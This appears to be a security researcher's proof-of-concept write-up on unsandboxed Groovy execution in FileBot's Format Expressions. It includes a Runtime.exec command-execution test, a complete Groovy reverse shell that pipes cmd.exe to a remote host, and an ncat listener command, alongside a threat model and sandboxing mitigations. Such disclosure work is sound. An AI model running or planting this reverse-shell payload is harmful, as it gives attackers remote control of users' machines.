Unsandboxed Groovy Template to Rev Shell

Unsandboxed Groovy Scripting in File Bot’s Format Expressions

This project demonstrates a dangerous unsandboxed Groovy scripting feature within File Bot’s Format Expressions. By showcasing how a reverse shell can be achieved through user-supplied code, the demo highlights the significant risks of allowing unrestricted script execution in templating engines. It is important to note that this is not presented as a traditional vulnerability or CVE; rather, it relies on a scenario in which a user is tricked into pasting a malicious reverse shell payload into their configuration. Although the current demonstration is limited—further research is needed to inject payloads from a file during File Bot’s parsing process. Ultimately, the project aims to underscore why running an unsandboxed templating engine can be extremely dangerous, especially when custom templates are sourced from unverified or untrusted parties.

GitHub: Unsandboxed Groovy

Testing

This section describes the testing process used to validate the behavior of unsandboxed expression evaluation, error handling, and dynamic code execution. The tests illustrate how Groovy can be manipulated to perform unintended actions when not properly sandboxed.

Confirm Expression Evaluation

Expression evaluation in this context refers to running Groovy code snippets dynamically to transform data or execute simple operations. The test demonstrates that basic expressions (like converting strings to uppercase) are executed without restrictions.

Test Command:
```
{"foo".toUpperCase()}
```
Screenshot:
Additional Evaluation Screenshot:

Visible Runtime Exceptions

Screenshot:

Backend Language Determination

This section explains how the backend language was identified. The key test shows that it’s possible to execute operating system commands via Spring Expression Language (SpEL) syntax when using unsandboxed Groovy.

Key Point: Proves OS command execution using SpEL syntax.

Test Command:

${T(java.lang.Runtime).getRuntime().exec('whoami')}

Screenshots:

GroovyShell Instantiation and Evaluation

Here, the GroovyShell is instantiated to demonstrate dynamic code evaluation. GroovyShell allows for the on-the-fly interpretation and execution of Groovy code, which, if left unsandboxed, can be exploited to perform arbitrary computations.

Test Command to Instantiate GroovyShell:
```
{def shell = new GroovyShell()}
```
Screenshot:

Dynamic Code Evaluation Example:

{def shell = new GroovyShell()                           
 def result = shell.evaluate '3*5'}

Screenshot of Evaluation Result:

Reverse Shell Demonstration

This section illustrates the dangerous potential of unsandboxed scripting by demonstrating how a reverse shell can be executed. The provided code snippet shows how a user-supplied script can be used to create a connection back to an attacker's machine, thereby achieving remote code execution. Although this isn't classified as a traditional CVE or vulnerability (since exploitation requires deliberate user input), it underscores the risks of unsafe script execution.

Reverse Shell Code:

{String host="192.168.1.X";
int port=6666;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0) so.write(pi.read());
    while(pe.available()>0) so.write(pe.read());
    while(si.available()>0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try { p.exitValue(); break; } catch (Exception e){}
};
p.destroy();
s.close();}

Screenshot:
Test Listener Command:
```
ncat.exe -lvnp 6666
```

Findings

The testing clearly demonstrates that a reverse shell can be achieved through user-supplied code. This finding emphasizes the severe risks associated with allowing unrestricted script execution in templating engines like File Bot’s Format Expressions. Importantly, the exploit requires user interaction (e.g., pasting the malicious code into a custom template) and is not a remotely exploitable vulnerability in itself. However, it serves as a powerful reminder of the dangers involved with unsandboxed environments.

Project Code

The provided link to the FileBot Expression Filter code shows where unsandboxed execution is integrated into the application. This highlights the potential for abuse if user-supplied templates are not properly sanitized or restricted.

Reference Code:
FileBot Expression Filter
Screenshot of Code:

Threat Model

Several risks and potential avenues for exploitation have been identified:

Untrusted Filenames or Metadata:
In scenarios such as supply chain attacks or torrent file sharing, untrusted filenames or metadata can be used to inject malicious code.
Shared Template Repositories or Presets:
Templates, such as utility scripts like “MediaRenamer.groovy,” can be weaponized by malicious actors if they are distributed via shared repositories or forums.
Multi-user Environments:
In environments where multiple users interact with the application (e.g., shared seedboxes, daemons, or services), template injection may lead to privilege escalation or lateral movement.

Mitigation Strategies

To protect against the risks associated with unsandboxed scripting, the following measures are recommended:

Groovy Sandboxing:
Implement the use of SecureASTCustomizer to restrict the capabilities of executed scripts.
Expression Whitelisting:
Limit the types of expressions that can be evaluated, reducing the risk of executing dangerous code.
Safer Expression Languages:
Consider adopting alternative expression languages (such as MVEL or JEXL) that offer stricter execution controls.
Remove Unsafe Runtime Access:
Ensure that the scripting environment blocks access to sensitive Java classes and functionalities:
- Block access to Runtime
- Block access to ProcessBuilder
- Block access to GroovyShell
- Block access to Socket

Next Steps

Further research and testing are needed to fully understand the exploitation potential of this unsandboxed environment. One key area for future work is determining if a malicious video file, when parsed by File Bot, could trigger code execution unexpectedly. This additional research is currently a work in progress (WIP) and may shed further light on potential vulnerabilities present in the templating engine.

Additional Tests:
Explore methods for injecting a payload from a file during the parsing process by File Bot.
Status: WIP

Final Note: The information provided here is for educational purposes only.

Tags: Vulnerability, CSTI, PoC, Code Review

← Back home